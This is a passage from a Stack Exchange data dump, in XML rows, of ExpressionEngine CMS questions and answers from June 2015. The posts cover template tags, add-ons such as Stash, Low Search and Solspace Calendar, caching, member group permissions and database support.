render your entries using the exp:structure:entries tag instead of EE's exp:channel:entries. Structure and EE use two different URLs which sometimes are not exactly the same (a bone of contention with me). Using Structure's entries tag ensures that you're getting the correct URL. You must remember that with Structure you're basically co-opting EE's native way of handling how URLs are built. EE out of the box uses template_group/page to determine URLs. Structure frees you from this (as I showed above with the /page/child-page/grandchild-page example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's so much to say about how to use Structure. I've been using it for years and I love it. I wish you luck!&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-06-23T21:00:31.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32062" PostTypeId="2" ParentId="32019" CreationDate="2015-06-23T22:15:10.810" Score="1" Body="&lt;p&gt;The &lt;code&gt;exp_super_search_terms&lt;/code&gt; table contains previously searched terms, as well as possible permutations of certain terms. These are compiled and used for quick retrieval by Super Search of previously searched terms, as well as for fuzzy searching and for the Super Search Cloud tag. Especially for free-style keyword searches, this table can fill up with quite a large number of terms (I've heard of much more than 60Mb for some users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can indeed clear this table from time to time without &quot;breaking&quot; Super Search, however the table is useful for general and fuzzy searching. Data in this table is therefore very likely not &quot;spam&quot;, and would not be proof on its own of any kind of &quot;attack&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the table is cleared, the table will fill itself again after some time as searches are being conducted on the site with Super Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to, you could comment out the &lt;code&gt;log_terms&lt;/code&gt; function near line 1496 of data.super_search.php (i.e. which mentions &lt;code&gt;$this-&amp;gt;log_terms( $keywords );&lt;/code&gt;), but again this would be removing a very handy part of Super Search functionality.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-06-23T22:15:10.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32063" PostTypeId="2" ParentId="32060" CreationDate="2015-06-24T02:07:06.950" Score="1" Body="&lt;p&gt;Ooo yeah you shouldn't have tried to revert. I ran into this issue upgrading a huge site; they literally just have a bug in the updater if I remember correctly. You just need to get the settings for the column from a previous backup, and make sure you create that column manually with the correct settings. Sorry, wish I could be more specific, but I don't have time to recreate the issue right now to give you a better answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would recommend reupdating FreeForm and then just manually creating that column.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-24T02:07:06.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32064" PostTypeId="2" ParentId="20447" CreationDate="2015-06-24T02:24:27.913" Score="0" Body="&lt;p&gt;I've upgraded to 1.6.0 and this is still an issue.  I get this error: EMAIL must be provided - An email address must contain a single @  using the above code&lt;/p&gt;&#xA;" OwnerUserId="6419" LastActivityDate="2015-06-24T02:24:27.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32065" PostTypeId="1" CreationDate="2015-06-24T03:49:27.080" Score="0" ViewCount="72" Body="&lt;p&gt;Is there any way to import additional fields from ICS files via Solspace Calendar (v1.8.13 on EE v2.10.1).  There are the default Calendar: Events fields which typically get populated with imported data.  And I can add additional fields like for links and images to the field group, but is there a way to map imported data into these additional fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't see anything in the documentation or in the Calendar module in the CP to address this.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="328" LastEditDate="2015-06-24T04:18:04.587" LastActivityDate="2016-06-06T02:58:43.753" Title="Solspace Calendar: ICS import field mapping" Tags="|solspace|solspace-calendar|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32067" PostTypeId="1" AcceptedAnswerId="32069" CreationDate="2015-06-24T11:14:19.337" Score="0" ViewCount="129" Body="&lt;p&gt;I am having a strange issue in my product listing template. Basically I have 2 channels. First channel say items stores the product information like product name, sku, company id etc and other channel say images stores the images information like sku, company id image URL for the products. Please note that sku and company id also exists in images channel which relates both items and images channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I create a product listing page which have a channel entry loop like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;items&quot; orderby=&quot;date&quot; limit=&quot;15&quot; paginate=&quot;bottom&quot; sort=&quot;DESC&quot;}&#xA;    &#xA;        {title}&#xA;    &#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to show related image of this channel entry i.e. image which have same company id and sku as this entry. So I added an embed template to it so my working code snippet is this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;items&quot; orderby=&quot;date&quot; limit=&quot;15&quot; paginate=&quot;bottom&quot; sort=&quot;DESC&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {embed=&quot;path/item-image&quot; company_id=&quot;{company_id}&quot; sku=&quot;{stock_keeping_unit}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how embed template looks :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;images&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; orderby=&quot;random&quot; search:image_company_id=&quot;={embed:company_id}&quot; search:image_stock_keeping_unit=&quot;={embed:sku}&quot;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if no_results}&#xA;    &amp;lt;img alt=&quot;&quot; class=&quot;item-image&quot; src=&quot;/assets/images/default-product-image.jpg&quot;&amp;gt;&#xA; {/if}&#xA; &amp;lt;img alt=&quot;item-image&quot; class=&quot;item-image&quot; src=&quot;{image_url}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Now the issue is embed template keeps adding the same image with every loop. I have verified that company id and sku is different for each entry but it show the first image for all the items.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched on Google where people having similar issue fixed it by adding random but random does not have any effect on my code. I can only think that EE is not calling the identical template more than once for optimization. I have also tried stash with snippet as I need to pass variables to the embedded code but it also returns the same image over and over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had this issue before, and if so, let me know how can I avoid it.&lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2015-06-24T12:18:25.653" Title="Template embedded in channel entry loop returns same data in each loop" Tags="|ee2|templates|embeds|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32068" PostTypeId="2" ParentId="32067" CreationDate="2015-06-24T12:17:30.283" Score="0" Body="&lt;p&gt;Why would you have 2 separate channels for products and images? Since an image can be seen as a property of a product to me it seems logical that they are in the same channel. Plus it would save an embed and other overhead in programming this.&#xA;For the company i would suggest have a company channel which holds the company information, logo, etc. And you could link this from a relationship field in the products field group&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2015-06-24T12:17:30.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32069" PostTypeId="2" ParentId="32067" CreationDate="2015-06-24T12:18:25.653" Score="0" Body="&lt;p&gt;It feels like your search: isn't firing as you are expecting.&#xA;If in your embed template, you display {image_url} as text, is it correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also put some text in the no_results conditional so you can tell if that is what is always returning, or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SKU should be enough for a unique identifier. Try the search with just the SKU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hard code a SKU into the embed template, does it return the expected result? Get the embed template working as expected with hard coded values first.&#xA;Then when you emded it and pass values for the search, turn on template debugging and check that the correct values are being passed as expected.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-06-24T12:18:25.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32072" PostTypeId="1" AcceptedAnswerId="32086" CreationDate="2015-06-24T14:01:02.420" Score="0" ViewCount="513" Body="&lt;p&gt;I'm trying to build a low search field that displays one visible predictive &lt;a href=&quot;https://select2.github.io/&quot; rel=&quot;nofollow&quot;&gt;select2&lt;/a&gt; input field that pulls in suggestions from a devdemon tagger field, as well as the last x most popular search terms. These options will probably generated with the template rather than an ajax behaviour as the list won't be huge and it would be faster to do it that way I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ideal behaviour would be this:  when the user starts typing, I suggest matching words based on tags/previous searches. If they select a tag from the list, I run a tag field search based on that tag; if they select a previous search term I run a keyword search based on that phrase. If they don't select any matching suggestions I run a keyword search based on what they typed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like them to be able to select more up to two suggestion combinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is - should I have one visible &lt;a href=&quot;https://select2.github.io/&quot; rel=&quot;nofollow&quot;&gt;select2&lt;/a&gt; input field, but populate hidden search fields when selections are made? (eg call the select field 'keywords' and also have a hidden field called 'tags' (or whatever my tag field is called)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way (if any) to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My fallback would be to remove the recent search suggestions and simply suggest tags, but still allow them to enter a keyword search. The same question applies to the fallback situation...!&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2015-08-24T13:24:55.273" Title="Low search keywords + tagger tags + select2?" Tags="|low-search|devdemon-tagger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32074" PostTypeId="1" AcceptedAnswerId="32075" CreationDate="2015-06-24T18:08:51.870" Score="0" ViewCount="46" Body="&lt;p&gt;I have created a ticket system in EE that is customized for reporting and alerts.  It's all front-end but I want to make sure that it's snappy.  Is there a good caching add-on you have used that is worth the money?&lt;/p&gt;&#xA;" OwnerUserId="2795" LastEditorUserId="2795" LastEditDate="2015-06-24T18:58:14.180" LastActivityDate="2015-06-24T18:58:14.180" Title="Caching Solutions For A Customized Ticket System" Tags="|cache|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32075" PostTypeId="2" ParentId="32074" CreationDate="2015-06-24T18:14:27.733" Score="1" Body="&lt;p&gt;CE-Cache. Use it. It's static file cache creates flat generated cache files that serve &lt;strong&gt;instantly&lt;/strong&gt; on a site that gets 500k hits a week, over a million requests during the semester. You can use the cache breaking feature to break cache when you update channel entries, relationship, basically anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't speak for the alternative caching methods it provides, but the static cache method is baller (I don't work for them or make any money from them, it just works great).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-cache&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-24T18:14:27.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32076" PostTypeId="2" ParentId="32065" CreationDate="2015-06-24T18:24:45.873" Score="0" Body="&lt;p&gt;At this current time there is no officially supported way to do this with ICS Update.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-06-24T18:24:45.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32077" PostTypeId="1" CreationDate="2015-06-24T18:58:21.723" Score="0" ViewCount="135" Body="&lt;p&gt;How can I make a list which show the date from today to following 10 days?&#xA;Like&#xA;Thu, June 25, 2015&#xA;Fri, June 26, 2015&#xA;Sat, June 27, 2015&#xA;Sun, June 28, 2015&#xA;Mon, June 29, 2015&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then make entry list under the matching date to entry date.&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2015-06-24T22:46:30.283" Title="Show date listing from today onward" Tags="|date|entry|grouping|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32078" PostTypeId="2" ParentId="32077" CreationDate="2015-06-24T19:19:25.373" Score="1" Body="&lt;p&gt;It looks like this is your best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ehousestudio/dailee_entries&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ehousestudio/dailee_entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't make that work, I can probably come up with a combination of PHP and template tags that would work. It'd be an ugly template but it would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were you, I'd fork this and just use it as a base to get the plugin to output how you'd like.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-24T19:19:25.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32079" PostTypeId="2" ParentId="32077" CreationDate="2015-06-24T19:49:38.523" Score="1" Body="&lt;p&gt;First I thought about the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#display-by&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;display_by&lt;/code&gt; parameter&lt;/a&gt;, but the user guide says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The display_by parameter uses the last unit of time provided that has entries. If you &lt;code&gt;display_by=&quot;day&quot;&lt;/code&gt; then it will show the last day that has entries. If you &lt;code&gt;display_by=&quot;month&quot;&lt;/code&gt; combined with &lt;code&gt;limit=&quot;3&quot;&lt;/code&gt; then it will show the last 3 months with entries, even if these months are not consecutive.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So... I'm not sure it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there's another option. You should be able to use &lt;code&gt;+10 days&lt;/code&gt; on &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#stop-before&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;stop_before&lt;/code&gt;&lt;/a&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries [...] start_on=&quot;today&quot; stop_before=&quot;+10 days&quot; show_future_entries=&quot;yes&quot;}&#xA;  {date_heading display=&quot;daily&quot;}&amp;lt;h1&amp;gt;{entry_date format=&quot;%Y %m %d&quot;}&amp;lt;/h1&amp;gt;{/date_heading}  &#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please, try.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-06-24T22:46:30.283" LastActivityDate="2015-06-24T22:46:30.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32081" PostTypeId="1" AcceptedAnswerId="32090" CreationDate="2015-06-25T01:17:54.310" Score="0" ViewCount="106" Body="&lt;p&gt;I'm really confused! I've been trying non stop to connect to an Oracle database through ExpressionEngine throughout the last two weeks. I've finally given up when I saw a previous post(&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/22325&quot;&gt;Is it possible to use ExpressionEngine with an Oracle database?&lt;/a&gt;) that stated that EE will not work with Oracle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the error I'm getting is 'driver not found' when I use the PDO oci or undeclared function connect_oci().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is true, why doesn't Oracle connect to EE?&#xA;Why can Filemaker connect to EE?&#xA;If this is true, is there a way to create documents that will allow Expression Engine to use Oracle?&#xA;Can EE only use MySQL and Mysqli?&lt;/p&gt;&#xA;" OwnerUserId="6334" LastActivityDate="2015-06-26T04:38:37.057" Title="ExpressionEngine v.s. Database.Mangement System" Tags="|database|mysql|system|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32082" PostTypeId="1" CreationDate="2015-06-25T06:58:08.230" Score="0" ViewCount="10" Body="&lt;p&gt;If i create a new membergroup, based on the users membergroup. All the images from a custom field are not showing. If i switch the user to the default membergroup, it works again.&#xA;users that are not logged in, can see the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basicly, if i move a user to a new membergroup (based on the default &quot;member&quot; group), all the images from custom fields are not showing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i miss something, or is it a configuration?&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2015-11-24T00:46:48.250" Title="Images are gone with membergroup" Tags="|custom-fields|image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32083" PostTypeId="1" AcceptedAnswerId="32171" CreationDate="2015-06-25T06:58:26.883" Score="0" ViewCount="84" Body="&lt;p&gt;For an extension I would like to add an extra column in the cp's entries overview. I have searched for a hook I could use for this, but could not find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use Zenbu, but that is a bit too much for what I want. In EE1 there was a hook available. Have I missed the hook for EE2 or is there another way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-07-03T07:43:41.757" Title="Hook to add a new column in control panel" Tags="|control-panel|add-on-development|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32084" PostTypeId="2" ParentId="32082" CreationDate="2015-06-25T07:10:46.623" Score="1" Body="&lt;p&gt;Ok, very weird but also understandable. I had to give permissions in the File Upload Perferences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its odd because the membergroup &quot;members&quot; is allowed and for a new membergroup that is based on that group need to give permission. Also i was thinking that those permissions where for writing only...&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2015-06-25T07:10:46.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32085" PostTypeId="2" ParentId="30567" CreationDate="2015-06-25T08:34:43.207" Score="0" Body="&lt;p&gt;Have upgraded EE site to 2.10.1 and &lt;em&gt;disabled&lt;/em&gt; the Zenbu MX Cloner support extension and this seems to have resolved the issue.&lt;/p&gt;&#xA;" OwnerUserId="3835" LastActivityDate="2015-06-25T08:34:43.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32086" PostTypeId="2" ParentId="32072" CreationDate="2015-06-25T12:20:47.897" Score="0" Body="&lt;p&gt;Ok I figured this out; I build a hidden keywords value that searches against multiple fields (including the tag field). My code (simplified a little) looks like this (where stash:_whichSearch returns 'resources'):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var selectData = [{id:'Year+group','text':'Year group'}...]&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;{exp:low_search:form query=&quot;{segment_2}&quot; required=&quot;keywords&quot; form_id=&quot;{stash:_whichSearch}Search&quot; collection=&quot;{stash:_whichSearch}&quot; result_page=&quot;{stash:_whichSearch}/search&quot;}&#xA;    &amp;lt;select class=&quot;js-example-data-array&quot; multiple=&quot;&quot; data-tags=&quot;true&quot; data-placeholder=&quot;Search our {stash:_whichSearch}&quot;&amp;gt;&amp;lt;/select&amp;gt;&#xA;        &amp;lt;input name=&quot;keywords&quot; id=&quot;keywords&quot; value='' type=&quot;hidden&quot;&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; class=&quot;expand&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my jquery looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* resources search */&#xA;    $(&quot;.js-example-data-array&quot;).select2({&#xA;        data: selectData,&#xA;        multiple: true,&#xA;        maximumSelectionLength: 2,&#xA;        minimumInputLength: 2,&#xA;        tags: true&#xA;    });&#xA;&#xA;    var $eventSelect = $(&quot;.js-example-data-array&quot;);     &#xA;    $eventSelect.on(&quot;change&quot;, function (e) { &#xA;        $(&quot;#keywords&quot;).empty();&#xA;        var objArr = $eventSelect.select2('data');&#xA;        var searchTerms = $.map( objArr, function( i, item ) {&#xA;            return('&quot;'+i.text+'&quot;')&#xA;        }).join('+');&#xA;        $(&quot;#keywords&quot;).val( searchTerms );&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="871" LastActivityDate="2015-06-25T12:20:47.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32087" PostTypeId="1" AcceptedAnswerId="32088" CreationDate="2015-06-25T13:23:38.190" Score="1" ViewCount="33" Body="&lt;p&gt;I'm looking to add a couple non-required channel fields to a particular channel on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How will adding these channel fields affect existing content in that particular channel? What will the value for this field in existing entries be (null, empty string, etc)?&lt;/p&gt;&#xA;" OwnerUserId="6430" LastActivityDate="2015-06-25T13:33:41.893" Title="Does adding Channel fields affect existing content in those channels?" Tags="|channel-entries|channel|custom-fields|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32088" PostTypeId="2" ParentId="32087" CreationDate="2015-06-25T13:33:41.893" Score="0" Body="&lt;p&gt;No concerns, friend. It won't affect any current content in any channel_data rows. When you add a new field to a field group, EE adds two new columns that look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field_id_60&#xA;field_ft_60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and don't worry about field_ft_#, It's basically always set to &quot;none&quot; (I think it's a deprecated column but still lives their for compatability, I've never seen it set to anything else). Now for field_id_#, the stored value for that field for any particular column row is defaulted to &lt;strong&gt;empty string&lt;/strong&gt;. However, you won't destroy any data in any other column. That would make ExpressEngine a terrible CMS :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerned still? &lt;strong&gt;Backup&lt;/strong&gt; your database before you add to the field group, but you'll be wasting your time (I assume you are EE version 2+, I don't know anything about EE 1.X). &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-25T13:33:41.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32089" PostTypeId="2" ParentId="32083" CreationDate="2015-06-25T13:56:39.433" Score="0" Body="&lt;p&gt;Which page, specifically? Have you looked at the &lt;strong&gt;tab&lt;/strong&gt; documentation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/modules.html#the-tab-file-tab-module-name-php&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/modules.html#the-tab-file-tab-module-name-php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expand on your answer I can probably help you.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-25T13:56:39.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32090" PostTypeId="2" ParentId="32081" CreationDate="2015-06-25T15:33:15.363" Score="0" Body="&lt;p&gt;CodeIgniter &lt;strong&gt;does&lt;/strong&gt; have a DB driver for oci8. Have you changed your driver? I mean, so much of the core is built around MySQL or equivalents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to do an &lt;strong&gt;entire&lt;/strong&gt; rewrite of the Database class, as well as catch all manual MySQL commands and make sure they are Oracle-syntax correct. You would also have to do the same for all of your add-ons. This is really a futile (or epic) endeavor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are in such a better position create your own module and import an Oracle driver, and build your own Oracle ORM as a module. Or, even simplier, why the heck aren't you just doing a database migration from Oracle to MySQL or MariaDB???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is really the best resource for building your own modules/addons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/modules.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/modules.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can help you further, but only if you're building your own module. I'm a professional developer so you'll have to contract me if you want me to do it for you :) But if you can get it going, you can post new questions to the forum and we can help you.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-06-26T04:38:37.057" LastActivityDate="2015-06-26T04:38:37.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32091" PostTypeId="1" CreationDate="2015-06-25T15:56:04.307" Score="2" ViewCount="55" Body="&lt;p&gt;While using Solspace Calendar I'm trying to limit recurrent events to only the next occurrence. I found a great tip on how to do it with PHP here:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19684/solspace-calendar-only-show-next-occurrence-of-recurring-event-in-list-of-recur/19686#19686&quot;&gt;Solspace Calendar: Only show next occurrence of recurring event in list of recurring and non-recurring events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a trimmed down version of what I'm currently trying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_layouts/index&quot;}&#xA;{exp:calendar:cal date_range_start=&quot;today&quot; show_months=&quot;4&quot; pad_short_weeks=&quot;n&quot;}&#xA;      {exp:stash:append_list name=&quot;events-list&quot; parse_tags=&quot;yes&quot;}&#xA;        {stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;      {/exp:stash:append_list}&#xA;    {/exp:calendar:cal}&#xA;&#xA;{exp:stash:get_list name=&quot;events-list&quot;}&#xA;  {exp:calendar:cal event_id=&quot;{item_entry_id}&quot; event_limit=&quot;1&quot;}&#xA;    {exp:stash:set_list name=&quot;events-show&quot;}&#xA;      {stash:the_title}{title}{/stash:the_title}&#xA;    {/exp:stash:set_list}&#xA;  {/exp:calendar:cal}&#xA;{/exp:stash:get_list}&#xA;&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;  {exp:stash:get_list name=&quot;events-show&quot;}&#xA;    &amp;lt;h4&amp;gt;{the_title}&amp;lt;/h4&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Content is then pulled into my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm given no output but even if it did my logic is clearly off. Hitting the database this much is really bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2043" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-05-19T12:27:54.557" Title="Using Stash to limit repeating events output by Solspace Calendar" Tags="|ee2|stash|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32093" PostTypeId="2" ParentId="32091" CreationDate="2015-06-25T16:28:59.443" Score="1" Body="&lt;p&gt;Going back through the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget_list%7D&quot; rel=&quot;nofollow&quot;&gt;stash documentation&lt;/a&gt; provided the answer I needed! The unique parameter on get_list was the missing piece to the puzzle. Below is a refactored version of the code, which now hits the database far less.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_layouts/index&quot;}&#xA;&#xA;    {exp:calendar:cal date_range_start=&quot;today&quot; show_months=&quot;4&quot; pad_short_weeks=&quot;n&quot;}&#xA;      {exp:stash:append_list name=&quot;events-list&quot; parse_tags=&quot;yes&quot;}&#xA;        {stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;        {stash:the_title}{title}{/stash:the_title}&#xA;      {/exp:stash:append_list}&#xA;    {/exp:calendar:cal}&#xA;&#xA;    {exp:stash:set name=&quot;content&quot;}&#xA;      {exp:stash:get_list name=&quot;events-list&quot; unique=&quot;item_entry_id&quot;}&#xA;        &amp;lt;h4&amp;gt;{the_title}&amp;lt;/h4&amp;gt;&#xA;      {/exp:stash:get_list}&#xA;    {/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that helps someone else struggling with the logic of using Stash and Solspace Calendar to pull off something similar.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2015-06-25T16:28:59.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
